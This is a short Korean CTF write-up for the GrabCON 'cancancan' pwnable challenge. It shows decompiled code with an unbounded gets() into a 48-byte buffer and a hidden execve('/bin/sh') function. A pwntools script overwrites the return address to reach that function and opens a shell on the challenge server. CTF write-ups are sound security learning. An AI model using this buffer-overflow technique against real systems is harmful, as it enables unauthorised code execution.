2021-09-09 · 2분
[시스템해킹] GrabCON can you? write up
그다음 문제~! 문제 파일 이름은 cancancan이었습니다.
securityctf
2021-09-09 · 1분
이 글은 작성된 지 2년이 넘었어요. 내용이 오래됐을 수 있어요.
GrabCON CTF
이번 GrabCON에 참가하며 pwnable만 살짝 풀고 나왔다. 총 4문제가 있었는데 3문제밖에 못 풀어서 매우 슬프다 ㅠ
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[48]; // [rsp+0h] [rbp-30h] BYREF
gets(v4, argv, envp);
printf("well lets check if you can bypass me!!!");
return 0;
}
__int64 vuln()
{
execve("/bin/sh", 0LL, 0LL);
return 0LL;
}
너무나도 간단한 BOF문제인것 같습니다. 파일은 64BIT로 페이로드는 dummy[48] + sfp[8] + vlun 이 될것 같습니다.
소스코드
더보기
from pwn import *
p = remote('35.205.161.145', 49153)
vuln = p64(0x401146)
payload = b''
payload += b'A'*56 + vuln
p.sendline(payload)
p.interactive()
[해킹/시스템해킹] - [시스템해킹] Buffer Overflow(BOF)
[[시스템해킹] Buffer Overflow(BOF)
BUFFER OVERFLOW BOF 설정되어 있는 버퍼의 크기보다 크게 입력을 받을 수 있을 때 생기는 취약점입니다. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..
— nabomhalang.tistory.com
원문: tistory — 2021-09-09 발행, 이 블로그로 이전됨.
…